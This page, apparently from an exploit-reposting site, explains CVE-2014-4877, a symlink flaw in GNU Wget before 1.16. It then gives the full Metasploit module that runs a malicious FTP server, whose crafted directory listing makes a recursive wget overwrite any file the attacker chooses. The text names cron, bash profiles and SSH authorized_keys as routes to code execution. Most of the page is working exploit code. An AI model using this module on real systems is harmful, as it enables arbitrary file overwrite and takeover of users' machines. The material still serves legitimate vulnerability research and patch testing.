[remote exploits] -GNU Wget FTP Symlink Arbitrary Filesystem Access Exploit
GNU Wget is a command-line utility designed to download files via HTTP, HTTPS, and FTP. Wget versions prior to 1.16 are vulnerable a symlink attack (CVE-2014-4877) when running in recursive mode with a FTP target. This vulnerability allows an attacker operating a malicious FTP server to create arbitrary files, directories, and symlinks on the user’s filesystem. The symlink attack allows file contents to be overwritten, including binary files, and access to the entire filesystem with the permissions of the user running wget. This flaw can lead to remote code execution through system-level vectors such as cron and user-level vectors such as bash profile files and SSH authorized_keys.
Vulnerability
The flaw is triggered when wget receives a directory listing that includes a symlink followed by a directory with the same name. The output of the LIST command would look like the following, which is not possible on a real FTP server.
lrwxrwxrwx 1 root root 33 Oct 28 2014 TARGET -> /
drwxrwxr-x 15 root root 4096 Oct 28 2014 TARGET
Wget would first create a local symlink named TARGET that points to the root filesystem. It would then enter the TARGET directory and mirror its contents across the user’s filesystem.
## | |
# This module requires Metasploit: http//metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
require ‘msf/core’ | |
class Metasploit3 < Msf::Auxiliary | |
include Msf::Exploit::Remote::FtpServer | |
include Msf::Auxiliary::Report | |
def initialize | |
super( | |
‘Name’ => ‘GNU Wget FTP Symlink Arbitrary Filesystem Access’, | |
‘Description’ => %q{ | |
This module exploits a vulnerability in Wget when used in | |
recursive (-r) mode with a FTP server as a destination. A | |
symlink is used to allow arbitrary writes to the target’s | |
filesystem. To specify content for the file, use the | |
“file:/path” syntax for the TARGET_DATA option. | |
Tested successfully with wget 1.14. Versions prior to 1.16 | |
are presumed vulnerable. | |
}, | |
‘Author’ => [‘hdm’], | |
‘License’ => MSF_LICENSE, | |
‘Actions’ => [[‘Service’]], | |
‘PassiveActions’ => [‘Service’], | |
‘References’ => | |
[ | |
[ ‘CVE’, ‘2014-4877’], | |
[ ‘URL’, ‘https://bugzilla.redhat.com/show_bug.cgi?id=1139181’ ], | |
[ ‘URL’, ‘https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access’ ] | |
], | |
‘DefaultAction’ => ‘Service’, | |
‘DisclosureDate’ => ‘Oct 27 2014’ | |
) | |
register_options( | |
[ | |
OptString.new(‘TARGET_FILE’, [ true, “The target file to overwrite”, ‘/tmp/pwned’ ]), | |
OptString.new(‘TARGET_DATA’, [ true, “The data to write to the target file”, ‘Hello from Metasploit’ ]), | |
OptPort.new(‘SRVPORT’, [ true, “The port for the malicious FTP server to listen on”, 2121]) | |
], self.class) | |
@fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8) | |
end | |
def run | |
my_address = Rex::Socket.source_address | |
print_good(“Targets should run: $ wget -m ftp://#{my_address}:#{datastore[‘SRVPORT’]}/”) | |
exploit() | |
end | |
def on_client_command_user(c,arg) | |
@state[c][:user] = arg | |
c.put “331 User name okay, need password…\r\n“ | |
end | |
def on_client_command_pass(c,arg) | |
@state[c][:pass] = arg | |
c.put “230 Login OK\r\n“ | |
@state[c][:auth] = true | |
print_status(“#{@state[c][:name]} Logged in with user ‘#{@state[c][:user]}‘ and password ‘#{@state[c][:user]}‘…”) | |
end | |
def on_client_command_retr(c,arg) | |
print_status(“#{@state[c][:name]} -> RETR #{arg}“) | |
if not @state[c][:auth] | |
c.put “500 Access denied\r\n“ | |
return | |
end | |
unless arg.index(::File.basename(datastore[‘TARGET_FILE’])) | |
c.put “550 File does not exist\r\n“ | |
return | |
end | |
conn = establish_data_connection(c) | |
if not conn | |
c.put(“425 Can’t build data connection\r\n“) | |
return | |
end | |
c.put(“150 Opening BINARY mode data connection for #{arg}\r\n“) | |
conn.put(datastore[‘TARGET_DATA’]) | |
c.put(“226 Transfer complete.\r\n“) | |
conn.close | |
print_good(“#{@state[c][:name]} Hopefully wrote #{datastore[‘TARGET_DATA’].length} bytes to #{datastore[‘TARGET_FILE’]}“) | |
end | |
def on_client_command_list(c,arg) | |
print_status(“#{@state[c][:name]} -> LIST #{arg}“) | |
if not @state[c][:auth] | |
c.put “500 Access denied\r\n“ | |
return | |
end | |
conn = establish_data_connection(c) | |
if not conn | |
c.put(“425 Can’t build data connection\r\n“) | |
return | |
end | |
pwd = @state[c][:cwd] | |
buf = ” | |
dstamp = Time.at(Time.now.to_i–((3600*24*365)+(3600*24*(rand(365)+1)))).strftime(“%b %e %Y”) | |
unless pwd.index(@fakedir) | |
buf << “lrwxrwxrwx 1 root root 33 #{dstamp} #{@fakedir} -> #{::File.dirname(datastore[‘TARGET_FILE’])}\r\n“ | |
buf << “drwxrwxr-x 15 root root 4096 #{dstamp} #{@fakedir}\r\n“ | |
else | |
buf << “-rwx—— 1 root root #{“%9d” % datastore[‘TARGET_DATA’].length} #{dstamp} #{::File.basename(datastore[‘TARGET_FILE’])}\r\n“ | |
end | |
c.put(“150 Opening ASCII mode data connection for /bin/ls\r\n“) | |
conn.put(“total #{buf.length}\r\n“ + buf) | |
c.put(“226 Transfer complete.\r\n“) | |
conn.close | |
end | |
def on_client_command_size(c,arg) | |
if not @state[c][:auth] | |
c.put “500 Access denied\r\n“ | |
return | |
end | |
c.put(“213 #{datastore[‘TARGET_DATA’].length}\r\n“) | |
end | |
def on_client_command_cwd(c,arg) | |
print_status(“#{@state[c][:name]} -> CWD #{arg}“) | |
if not @state[c][:auth] | |
c.put “500 Access denied\r\n“ | |
return | |
end | |
upath = “/” | |
npath = ::File.join(@state[c][:cwd], arg) | |
bpath = npath[upath.length, npath.length – upath.length] | |
# Check for traversal above the root directory | |
if not (npath[0, upath.length] == upath or bpath == ”) | |
bpath = ‘/’ | |
end | |
bpath = ‘/’ if bpath == ” | |
@state[c][:cwd] = bpath | |
c.put “250 CWD command successful.\r\n“ | |
end | |
end |
Post a reply
You must be logged in to post a comment.